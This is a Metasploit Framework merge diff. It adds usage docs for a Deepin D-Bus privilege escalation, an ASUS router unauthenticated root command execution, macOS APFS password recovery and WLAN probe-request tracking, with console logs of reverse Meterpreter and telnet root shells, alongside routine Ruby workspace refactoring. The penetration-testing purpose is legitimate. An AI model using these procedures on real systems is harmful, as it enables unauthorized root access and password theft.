Merge remote-tracking branch 'upstream/master' into feature/drupal

GSoC/Meterpreter_Web_Console
William Vu 2018-04-20 18:42:15 -05:00
commit 5be4526085
67 changed files with 1719 additions and 705 deletions

View File

@ -56,7 +56,7 @@ PATH
rex-socket
rex-sslscan
rex-struct2
rex-text (< 0.2.18)
rex-text
rex-zip
ruby-macho
ruby_smb
@ -107,7 +107,7 @@ GEM
arel (6.0.4)
arel-helpers (2.6.1)
activerecord (>= 3.1.0, < 6)
backports (3.11.2)
backports (3.11.3)
bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0)
bindata (2.4.3)
@ -129,7 +129,7 @@ GEM
railties (>= 3.0.0)
faker (1.8.7)
i18n (>= 0.7)
faraday (0.14.0)
faraday (0.15.0)
multipart-post (>= 1.2, < 3)
filesize (0.1.1)
fivemat (1.3.6)
@ -201,8 +201,8 @@ GEM
ttfunk
pg (0.20.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
postgres_ext (3.0.1)
activerecord (~> 4.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.11.3)
@ -229,7 +229,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.18)
recog (2.1.19)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -275,7 +275,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.17)
rex-text (0.2.20)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)

View File

@ -0,0 +1,101 @@
## Description
This module attempts to gain root privileges on [Deepin Linux](https://www.deepin.org/en/) systems
by using `lastore-daemon` to install a package. It may cause audio and/or graphical signals confirming
the installation of the payload package.
## Vulnerable Application
The `lastore-daemon` D-Bus configuration on Deepin Linux 15.5 permits any
user in the `sudo` group to install arbitrary system packages without
providing a password, resulting in code execution as root. By default,
the first user created on the system is a member of the `sudo` group.
The D-Bus configuration in `/usr/share/dbus-1/system.d/com.deepin.lastore.conf`
permits users of the `sudo` group to execute arbitrary methods on the
`com.deepin.lastore` interface, as shown below:
```xml
<!-- Only root can own the service -->
<policy user="root">
<allow own="com.deepin.lastore"/>
<allow send_destination="com.deepin.lastore"/>
</policy>
<!-- Allow sudo group to invoke methods on the interfaces -->
<policy group="sudo">
<allow own="com.deepin.lastore"/>
<allow send_destination="com.deepin.lastore"/>
</policy>
```
This module has been tested successfully with lastore-daemon version
0.9.53-1 on Deepin Linux 15.5 (x64).
Deepin Linux is available here:
* https://www.deepin.org/en/mirrors/releases/
`lastore-daemon` source repository is available here:
* https://cr.deepin.io/#/admin/projects/lastore/lastore-daemon
* https://github.com/linuxdeepin/lastore-daemon/
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/lastore_daemon_dbus_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
```
msf > use exploit/linux/local/lastore_daemon_dbus_priv_esc
msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > set session 1
session => 1
msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Building package...
[*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/control' (98 bytes) ...
[*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/postinst' (28 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/.1sZZ46ozIH' (207 bytes) ...
[*] Installing package...
[*] Sending stage (857352 bytes) to 172.16.191.200
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.200:51464) at 2018-03-24 18:45:29 -0400
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/control
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/postinst
[+] Deleted /tmp/.1sZZ46ozIH
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN
[*] Removing package...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.200
OS : Deepin 15.5 (Linux 4.9.0-deepin13-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```

View File

@ -0,0 +1,78 @@
## Description
This module exploits an authentication bypass vulnerability in the infosvr service running on various ASUS routers to execute arbitrary commands as `root`.
## Vulnerable Application
The ASUS infosvr service is enabled by default on various models of ASUS routers and listens on the LAN interface on UDP port 9999. Unpatched versions of this service allow unauthenticated remote command execution as the `root` user.
This module launches the BusyBox Telnet daemon on the port specified in the `TelnetPort` option to gain an interactive remote shell.
This module was tested successfully on an ASUS RT-N12E with firmware version 2.0.0.35.
Numerous ASUS models are [reportedly affected](https://github.com/jduck/asus-cmd), but untested.
## Verification Steps
1. Start `msfconsole`
2. `use exploit/linux/misc/asus_infosvr_auth_bypass_exec`
3. `set RHOST [IP]`
4. `run`
5. You should get a *root* session
## Options
**TelnetPort**
The port for Telnetd to bind (default: `4444`)
**TelnetTimeout**
The number of seconds to wait for connection to telnet (default: `10`)
**TelnetBannerTimeout**
The number of seconds to wait for the telnet banner (default: `25`)
**CommandShellCleanupCommand**
A command to run before the session is closed (default: `exit`)
If the session is killed (CTRL+C) rather than exiting cleanly,
the telnet port remains open, but is unresponsive, and prevents
re-exploitation until the device is rebooted.
## Scenarios
```
msf > use exploit/linux/misc/asus_infosvr_auth_bypass_exec
msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > set rhost 10.1.1.1
rhost => 10.1.1.1
msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > set telnetport 4444
telnetport => 4444
msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > set verbose true
verbose => true
msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > run
[*] 10.1.1.1 - Starting telnetd on port 4444...
[*] 10.1.1.1 - Waiting for telnet service to start on port 4444...
[*] 10.1.1.1 - Connecting to 10.1.1.1:4444...
[*] 10.1.1.1 - Trying to establish a telnet session...
[+] 10.1.1.1 - Telnet session successfully established...
[*] Found shell.
[*] Command shell session 1 opened (10.1.1.197:42875 -> 10.1.1.1:4444) at 2017-11-28 07:38:37 -0500
id
/bin/sh: id: not found
# cat /proc/version
cat /proc/version
Linux version 2.6.30.9 (root@wireless-desktop) (gcc version 3.4.6-1.3.6) #2 Thu Sep 18 18:12:23 CST 2014
# exit
exit
```

View File

@ -0,0 +1,43 @@
This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created.
## Vulnerable Application
* macOS 10.13.0
* macOS 10.13.1
* macOS 10.13.2
* macOS 10.13.3*
\* On macOS 10.13.3, the password can only be recovered if the drive was encrypted before the system upgrade to 10.13.3. See [here](https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp) for more info
## Verification Steps
Example steps in this format (is also in the PR):
1. Start `msfconsole`
2. Do: `use post/osx/gather/apfs_encrypted_volume_passwd`
3. Do: set the `MOUNT_PATH` option if needed
4. Do: ```run```
5. You should get the password
## Options
**MOUNT_PATH**
`MOUNT_PATH` is the path on the macOS system where the encrypted drive is (or was) mounted. This is *not* the path under `/Volumes`
## Scenarios
Typical run against an OSX session, after creating a new APFS disk using Disk Utility:
```
msf5 exploit(multi/handler) > use post/osx/gather/apfs_encrypted_volume_passwd
msf5 post(osx/gather/apfs_encrypted_volume_passwd) > set SESSION -1
SESSION => -1
msf5 post(osx/gather/apfs_encrypted_volume_passwd) > exploit
[+] APFS command found: newfs_apfs -i -E -S aa -v Untitled disk2s2 .
[+] APFS command found: newfs_apfs -A -e -E -S secretpassword -v Untitled disk2 .
[*] Post module execution completed
msf5 post(osx/gather/apfs_encrypted_volume_passwd) >
```

View File

@ -0,0 +1,113 @@
## Description
The module send probe request packets through the wlan interfaces. The user can configure the message to be sent
(embedded in the SSID field) with a max length of 32 bytes and the time spent in seconds sending those packets
(considering a sleep of 10 seconds between each probe request).
The module borrows most of its code from the @thelightcosine wlan_* modules (everything revolves around the
wlanscan API and the DOT11_SSID structure).
## Scenarios
This post module uses the remote victim's wireless card to beacon a specific SSID, allowing an attacker to
geolocate him or her during an engagement.
## Verification steps:
### Run the module on a remote computer:
```
msf exploit(ms17_010_eternalblue) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.135.111
lhost => 192.168.135.111
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.135.157
[*] Meterpreter session 1 opened (192.168.135.111:4567 -> 192.168.135.157:50661) at 2018-04-20 13:20:34 -0500
meterpreter > sysinfo
Computer : WIN10X64-1703
OS : Windows 10 (Build 15063).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/wlan/wlan_probe_request
msf post(wlan_probe_request) > set ssid "TEST"
ssid => TEST
msf post(wlan_probe_request) > set timeout 300
timeout => 300
msf post(wlan_probe_request) > set session 1
session => 1
msf post(wlan_probe_request) > run
[*] Wlan interfaces found: 1
[*] Sending probe requests for 300 seconds
^C[-] Post interrupted by the console user
[*] Post module execution completed
msf post(wlan_probe_request) >
```
### On another computer, use probemon to listen for the SSID:
```
tmoose@ubuntu:~/rapid7$ ifconfig -a
.
.
.
wlx00c0ca6d1287 Link encap:Ethernet HWaddr 00:00:00:00:00:00
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
tmoose@ubuntu:~/rapid7$ sudo airmon-ng start wlx00c0ca6d1287
Found 6 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
963 NetworkManager
981 avahi-daemon
1002 avahi-daemon
1170 dhclient
1180 dhclient
1766 wpa_supplicant
Interface Chipset Driver
wlx000000000000 Realtek RTL8187L rtl8187 - [phy0]
(monitor mode enabled on mon0)
tmoose@ubuntu:~/rapid7$ cd ..
tmoose@ubuntu:~$ sudo python probemon.py -t unix -i mon0 -s -r -l | grep TEST
1524248955 74:ea:3a:8e:a1:6d TEST -59
1524248955 74:ea:3a:8e:a1:6d TEST -73
1524248955 74:ea:3a:8e:a1:6d TEST -63
1524248955 74:ea:3a:8e:a1:6d TEST -68
1524248956 74:ea:3a:8e:a1:6d TEST -74
1524248965 74:ea:3a:8e:a1:6d TEST -59
1524248965 74:ea:3a:8e:a1:6d TEST -60
1524248965 74:ea:3a:8e:a1:6d TEST -74
1524248965 74:ea:3a:8e:a1:6d TEST -73
1524248965 74:ea:3a:8e:a1:6d TEST -63
1524248965 74:ea:3a:8e:a1:6d TEST -63
1524248965 74:ea:3a:8e:a1:6d TEST -78
.
.
.
```

View File

@ -123,6 +123,29 @@ class DataProxy
raise Exception, "#{ui_message}: #{exception.message}. See log for more details."
end
# Adds a valid workspace value to the opts hash before sending on to the data layer.
#
# @param [Hash] opts The opts hash that will be passed to the data layer.
# @param [String] wspace A specific workspace name to add to the opts hash.
# @return [Hash] The opts hash with a valid :workspace value added.
def add_opts_workspace(opts, wspace = nil)
# Some methods use the key :wspace. Let's standardize on :workspace and clean it up here.
opts[:workspace] = opts.delete(:wspace) unless opts[:wspace].nil?
# If the user passed in a specific workspace then use that in opts
opts[:workspace] = wspace if wspace
# We only want to pass the workspace name, so grab it if it is currently an object.
if opts[:workspace] && opts[:workspace].is_a?(::Mdm::Workspace)
opts[:workspace] = opts[:workspace].name
end
# If we still don't have a :workspace value, just set it to the current workspace.
opts[:workspace] = workspace.name if opts[:workspace].nil?
opts
end
#######
private
#######

View File

@ -2,7 +2,7 @@ module CredentialDataProxy
def create_credential(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.create_credential(opts)
rescue Exception => e
self.log_error(e, "Problem creating credential")
@ -12,6 +12,7 @@ module CredentialDataProxy
def creds(opts = {})
begin
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.creds(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving credentials")

View File

@ -6,6 +6,7 @@ module DbExportDataProxy
path: path,
format: format
}
add_opts_workspace(opts)
data_service.run_db_export(opts)
rescue Exception => e
self.log_error(e, "Problem generating DB Export")

View File

@ -2,7 +2,8 @@ module EventDataProxy
def report_event(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_event(opts)
rescue Exception => e
self.log_error(e, "Problem reporting event")

View File

@ -2,7 +2,7 @@ module ExploitDataProxy
def report_exploit_attempt(host, opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.report_exploit_attempt(host, opts)
rescue Exception => e
self.log_error(e, "Problem reporting exploit attempt")
@ -11,7 +11,8 @@ module ExploitDataProxy
def report_exploit_failure(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_exploit_failure(opts)
rescue Exception => e
self.log_error(e, "Problem reporting exploit failure")
@ -20,7 +21,8 @@ module ExploitDataProxy
def report_exploit_success(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_exploit_success(opts)
rescue Exception => e
self.log_error(e, "Problem reporting exploit success")

View File

@ -1,10 +1,10 @@
module HostDataProxy
def hosts(wspace = workspace, non_dead = false, addresses = nil, search_term = nil)
def hosts(wspace = workspace.name, non_dead = false, addresses = nil, search_term = nil)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
opts = {}
opts[:wspace] = wspace
add_opts_workspace(opts, wspace)
opts[:non_dead] = non_dead
opts[:address] = addresses
opts[:search_term] = search_term
@ -24,7 +24,8 @@ module HostDataProxy
return unless valid(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_host(opts)
rescue Exception => e
self.log_error(e, "Problem reporting host")
@ -33,7 +34,8 @@ module HostDataProxy
def report_hosts(hosts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(hosts)
data_service.report_hosts(hosts)
rescue Exception => e
self.log_error(e, "Problem reporting hosts")
@ -42,7 +44,7 @@ module HostDataProxy
def update_host(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.update_host(opts)
rescue Exception => e
self.log_error(e, "Problem updating host")
@ -51,7 +53,7 @@ module HostDataProxy
def delete_host(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.delete_host(opts)
rescue Exception => e
self.log_error(e, "Problem deleting host")

View File

@ -2,10 +2,11 @@ module LootDataProxy
def report_loot(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
if !data_service.is_a?(Msf::DBManager)
opts[:data] = Base64.urlsafe_encode64(opts[:data]) if opts[:data]
end
add_opts_workspace(opts)
data_service.report_loot(opts)
rescue Exception => e
self.log_error(e, "Problem reporting loot")
@ -21,7 +22,7 @@ module LootDataProxy
def loots(wspace, opts = {})
begin
data_service = self.get_data_service
opts[:wspace] = wspace
add_opts_workspace(opts, wspace)
data_service.loot(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving loot")

View File

@ -2,7 +2,8 @@ module NmapDataProxy
def import_nmap_xml_file(args = {})
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(args)
data_service.import_nmap_xml_file(args)
rescue Exception => e
self.log_error(e, "Problem importing Nmap XML file")

View File

@ -1,10 +1,45 @@
module NoteDataProxy
def notes(opts)
begin
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.notes(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving notes")
end
end
# TODO: like other *DataProxy modules this currently skips the "find" part
def find_or_create_note(opts)
report_note(opts)
end
def report_note(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_note(opts)
rescue Exception => e
self.log_error(e, "Problem reporting note")
end
end
def update_note(opts)
begin
data_service = self.get_data_service
data_service.update_note(opts)
rescue Exception => e
self.log_error(e, "Problem updating note")
end
end
def delete_note(opts)
begin
data_service = self.get_data_service
data_service.delete_note(opts)
rescue Exception => e
self.log_error(e, "Problem deleting note")
end
end
end

View File

@ -1,9 +1,9 @@
module ServiceDataProxy
def services(wspace = workspace, opts = {})
def services(wspace = workspace.name, opts = {})
begin
data_service = self.get_data_service()
opts[:workspace] = wspace
data_service = self.get_data_service
add_opts_workspace(opts, wspace)
data_service.services(opts)
rescue Exception => e
self.log_error(e, 'Problem retrieving services')
@ -16,7 +16,8 @@ module ServiceDataProxy
def report_service(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_service(opts)
rescue Exception => e
self.log_error(e, 'Problem reporting service')
@ -25,7 +26,7 @@ module ServiceDataProxy
def update_service(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.update_service(opts)
rescue Exception => e
self.log_error(e, 'Problem updating service')
@ -34,7 +35,7 @@ module ServiceDataProxy
def delete_service(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.delete_service(opts)
rescue Exception => e
self.log_error(e, 'Problem deleting service')

View File

@ -1,7 +1,7 @@
module SessionDataProxy
def report_session(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.report_session(opts)
rescue Exception => e
self.log_error(e, "Problem reporting session")

View File

@ -2,7 +2,7 @@ module VulnAttemptDataProxy
def vuln_attempts(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.vuln_attempts(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving vulnerability attempts")
@ -11,7 +11,8 @@ module VulnAttemptDataProxy
def report_vuln_attempt(vuln, opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_vuln_attempt(vuln, opts)
rescue Exception => e
self.log_error(e, "Problem reporting vulnerability attempts")

View File

@ -3,7 +3,8 @@ module VulnDataProxy
def vulns(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.vulns(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving vulns")
@ -12,7 +13,8 @@ module VulnDataProxy
def report_vuln(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.report_vuln(opts)
rescue Exception => e
self.log_error(e, "Problem reporting vuln")
@ -21,7 +23,7 @@ module VulnDataProxy
def update_vuln(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.update_vuln(opts)
rescue Exception => e
self.log_error(e, "Problem updating vuln")
@ -30,7 +32,7 @@ module VulnDataProxy
def delete_vuln(opts)
begin
data_service = self.get_data_service()
data_service = self.get_data_service
data_service.delete_vuln(opts)
rescue Exception => e
self.log_error(e, "Problem deleting vuln")

View File

@ -2,8 +2,9 @@ module WorkspaceDataProxy
def find_workspace(workspace_name)
begin
data_service = self.get_data_service()
data_service.find_workspace(workspace_name)
data_service = self.get_data_service
opts = { name: workspace_name }
data_service.workspaces(opts).first
rescue Exception => e
self.log_error(e, "Problem finding workspace")
end
@ -11,8 +12,9 @@ module WorkspaceDataProxy
def add_workspace(workspace_name)
begin
data_service = self.get_data_service()
data_service.add_workspace(workspace_name)
data_service = self.get_data_service
opts = { name: workspace_name }
data_service.add_workspace(opts)
rescue Exception => e
self.log_error(e, "Problem adding workspace")
end
@ -20,8 +22,11 @@ module WorkspaceDataProxy
def default_workspace
begin
data_service = self.get_data_service()
data_service.default_workspace
ws = find_workspace(Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME)
if ws.nil?
ws = add_workspace(Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME)
end
ws
rescue Exception => e
self.log_error(e, "Problem finding default workspace")
end
@ -29,38 +34,52 @@ module WorkspaceDataProxy
def workspace
begin
data_service = self.get_data_service()
data_service.workspace
if @current_workspace
@current_workspace
else
# This is mostly a failsafe to prevent bad things from happening. @current_workspace should always be set
# outside of here, but this will save us from crashes/infinite loops if that happens
warn "@current_workspace was not set. Setting to default_workspace: #{default_workspace.name}"
@current_workspace = default_workspace
end
rescue Exception => e
self.log_error(e, "Problem retrieving workspace")
end
end
# TODO: Tracking of the current workspace should be moved out of the datastore. See MS-3095.
def workspace=(workspace)
begin
data_service = self.get_data_service()
data_service.workspace = workspace
@current_workspace = workspace
rescue Exception => e
self.log_error(e, "Problem setting workspace")
end
end
def workspaces
def workspaces(opts = {})
begin
data_service = self.get_data_service()
data_service.workspaces
data_service = self.get_data_service
data_service.workspaces(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving workspaces")
end
end
def workspace_associations_counts()
def delete_workspaces(opts)
begin
data_service = self.get_data_service()
data_service.workspace_associations_counts()
data_service = self.get_data_service
data_service.delete_workspaces(opts)
rescue Exception => e
self.log_error(e, "Problem retrieving workspace counts")
self.log_error(e, "Problem deleting workspaces")
end
end
def update_workspace(opts)
begin
data_service = self.get_data_service
data_service.update_workspace(opts)
rescue Exception => e
self.log_error(e, "Problem updating workspace")
end
end
end

View File

@ -24,10 +24,11 @@ class RemoteHTTPDataService
#
# @param [String] endpoint A valid http or https URL. Cannot be nil
#
def initialize(endpoint, https_opts = {})
def initialize(endpoint, framework, https_opts = {})
validate_endpoint(endpoint)
@endpoint = URI.parse(endpoint)
@https_opts = https_opts
@framework = framework
build_client_pool(5)
end
@ -121,11 +122,11 @@ class RemoteHTTPDataService
def make_request(request_type, path, data_hash = nil, query = nil)
begin
# simplify query by removing nil values
query_str = (!query.nil? && !query.empty?) ? append_workspace(query).compact.to_query : nil
query_str = (!query.nil? && !query.empty?) ? query.compact.to_query : nil
uri = URI::HTTP::build({path: path, query: query_str})
dlog("HTTP #{request_type} request to #{uri.request_uri} with #{data_hash ? data_hash : "nil"}")
client = @client_pool.pop()
client = @client_pool.pop
case request_type
when GET_REQUEST
request = Net::HTTP::Get.new(uri.request_uri)
@ -223,19 +224,6 @@ class RemoteHTTPDataService
raise 'Endpoint cannot be nil' if endpoint.nil?
end
def append_workspace(data_hash)
workspace = data_hash[:workspace]
workspace = data_hash.delete(:wspace) unless workspace
if workspace && (workspace.is_a?(OpenStruct) || workspace.is_a?(::Mdm::Workspace))
data_hash[:workspace] = workspace.name
end
data_hash[:workspace] = current_workspace_name if workspace.nil?
data_hash
end
def build_request(request, data_hash)
request.content_type = 'application/json'
if !data_hash.nil? && !data_hash.empty?
@ -248,7 +236,7 @@ class RemoteHTTPDataService
data_hash.delete(k)
end
end
json_body = append_workspace(data_hash).to_json
json_body = data_hash.to_json
request.body = json_body
end

View File

@ -4,8 +4,26 @@ module RemoteNoteDataService
include ResponseDataHelper
NOTE_API_PATH = '/api/v1/notes'
NOTE_MDM_CLASS = 'Mdm::Note'
def notes(opts)
json_to_mdm_object(self.get_data(NOTE_API_PATH, nil, opts), NOTE_MDM_CLASS, [])
end
def report_note(opts)
self.post_data_async(NOTE_API_PATH, opts)
json_to_mdm_object(self.post_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS, []).first
end
def update_note(opts)
path = NOTE_API_PATH
if opts && opts[:id]
id = opts.delete(:id)
path = "#{NOTE_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), NOTE_MDM_CLASS, [])
end
def delete_note(opts)
json_to_mdm_object(self.delete_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS, [])
end
end

View File

@ -3,55 +3,49 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteWorkspaceDataService
include ResponseDataHelper
# TODO: should counts be a flag in query data for the workspaces resource?
WORKSPACE_COUNTS_API_PATH = '/api/v1/workspaces/counts'
WORKSPACE_API_PATH = '/api/v1/workspaces'
WORKSPACE_MDM_CLASS = 'Mdm::Workspace'
DEFAULT_WORKSPACE_NAME = 'default'
def find_workspace(workspace_name)
workspace = workspace_cache[workspace_name]
return workspace unless (workspace.nil?)
workspace = json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name}), WORKSPACE_MDM_CLASS).first
workspace_cache[workspace_name] = workspace
end
def add_workspace(workspace_name)
response = self.post_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name})
json_to_mdm_object(response, WORKSPACE_MDM_CLASS, nil)
def add_workspace(opts)
response = self.post_data(WORKSPACE_API_PATH, opts)
json_to_mdm_object(response, WORKSPACE_MDM_CLASS, nil).first
end
def default_workspace
find_workspace(DEFAULT_WORKSPACE_NAME)
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, nil, { name: Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME }), WORKSPACE_MDM_CLASS, [])
end
def workspace
find_workspace(current_workspace_name)
# The @current_workspace is tracked on the client side, so attempting to call it directly from the RemoteDataService
# will not return the correct results. Run it back through the proxy.
wlog "[DEPRECATION] Calling workspace from within the RemoteDataService is no longer supported. Please call from WorkspaceDataProxy instead."
caller.each { |line| wlog "#{line}"}
framework.db.workspace
end
def workspace=(workspace)
@current_workspace_name = workspace.name
# The @current_workspace is tracked on the client side, so attempting to call it directly from the RemoteDataService
# will not return the correct results. Run it back through the proxy.
wlog "[DEPRECATION] Setting the current workspace from the RemoteDataService is no longer supported. Please call from WorkspaceDataProxy instead."
caller.each { |line| wlog "#{line}"}
framework.db.workspace = workspace
end
def workspaces
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, {:all => true}), WORKSPACE_MDM_CLASS, [])
def workspaces(opts)
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, nil, opts), WORKSPACE_MDM_CLASS, [])
end
def workspace_associations_counts()
json_to_mdm_object(self.get_data(WORKSPACE_COUNTS_API_PATH, []), WORKSPACE_MDM_CLASS, [])
def delete_workspaces(opts)
json_to_mdm_object(self.delete_data(WORKSPACE_API_PATH, opts), WORKSPACE_MDM_CLASS, [])
end
#########
protected
#########
def workspace_cache
@workspace_cache ||= {}
def update_workspace(opts)
path = WORKSPACE_API_PATH
if opts && opts[:id]
id = opts.delete(:id)
path = "#{WORKSPACE_API_PATH}/#{id}"
end
def current_workspace_name
@current_workspace_name ||= DEFAULT_WORKSPACE_NAME
json_to_mdm_object(self.put_data(path, opts), WORKSPACE_MDM_CLASS, []).first
end
end

View File

@ -1,7 +1,19 @@
module NoteDataService
def notes(opts)
raise NotImplementedError, 'NoteDataService#notes is not implemented'
end
def report_note(opts)
raise 'NoteDataService#report_note is not implemented'
raise NotImplementedError, 'NoteDataService#report_note is not implemented'
end
def update_note(opts)
raise NotImplementedError, 'NoteDataService#update_note is not implemented'
end
def delete_note(opts)
raise NotImplementedError, 'NoteDataService#delete_note is not implemented'
end
end

View File

@ -27,9 +27,4 @@ module WorkspaceDataService
def workspace_associations_counts()
raise 'WorkspaceDataService#workspace_associations_counts is not implemented'
end
def rename_workspace(from_name, to_name)
raise 'WorkspaceDataService#rename_workspace is not implemented'
end
end

View File

@ -98,6 +98,11 @@ module Exploit
# best encoder.
exploit.datastore['ENCODER'] = opts['Encoder'] if opts['Encoder']
# Use the supplied NOP generator, if any. If one was not specified, then
# nil will be assigned causing the exploit to default to picking a
# compatible NOP generator.
exploit.datastore['NOP'] = opts['Nop'] if opts['Nop']
# Force the payload to share the exploit's datastore
driver.payload.share_datastore(driver.exploit.datastore)

View File

@ -16,9 +16,6 @@ module Msf::DBManager::Connection
begin
# Migrate the database, if needed
migrate
# Set the default workspace
self.workspace = self.default_workspace
rescue ::Exception => exception
self.error = exception
elog("DB.connect threw an exception: #{exception}")

View File

@ -2,8 +2,9 @@ module Msf::DBManager::Cred
# This methods returns a list of all credentials in the database
def creds(opts)
query = nil
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
::ActiveRecord::Base.connection_pool.with_connection {
query = Metasploit::Credential::Core.where( workspace_id: framework.db.workspace.id )
query = Metasploit::Credential::Core.where( workspace_id: wspace.id )
query = query.includes(:private, :public, :logins).references(:private, :public, :logins)
query = query.includes(logins: [ :service, { service: :host } ])
@ -40,7 +41,7 @@ module Msf::DBManager::Cred
# This method iterates the creds table calling the supplied block with the
# cred instance of each entry.
def each_cred(wspace=workspace,&block)
def each_cred(wspace=framework.db.workspace,&block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.creds.each do |cred|
block.call(cred)
@ -106,7 +107,7 @@ module Msf::DBManager::Cred
# Nil is true for active.
active = (opts[:active] || opts[:active].nil?) ? true : false
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
# Service management; assume the user knows what
# he's talking about.

View File

@ -2,7 +2,8 @@ require 'msf/core/db_export'
module Msf::DBManager::DbExport
def run_db_export(opts)
exporter = Msf::DBManager::Export.new(framework.db.workspace)
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
exporter = Msf::DBManager::Export.new(wspace)
output_file = exporter.send("to_#{opts[:format]}_file".intern, opts[:path]) do |mtype, mstatus, mname|
if mtype == :status

View File

@ -8,7 +8,7 @@ module Msf::DBManager::Event
def report_event(opts = {})
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = get_workspace(opts)
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
return if not wspace # Temp fix?
uname = opts.delete(:username)

View File

